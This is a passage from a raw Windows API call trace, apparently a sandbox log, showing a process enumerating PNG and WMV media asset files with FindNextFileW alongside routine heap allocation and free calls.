Size=0x100) returned 0xfc36f0 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5d68 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc37f8 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5d88 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3900 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.952] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5da8 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3a08 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5dc8 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3b10 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5de8 [0066.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3c18 [0066.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.953] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5e08 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3d20 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5e28 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3e28 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5e48 [0066.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc3f30 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5e68 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4038 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5e88 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4140 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5ea8 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4248 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd80) returned 0xfc6510 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.956] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5ec8 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4350 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.956] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5ee8 [0066.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4458 [0066.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5f08 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4560 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5f28 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4668 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5f48 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4770 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5f68 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4878 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5f88 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4980 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5fa8 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4a88 [0066.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.959] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, 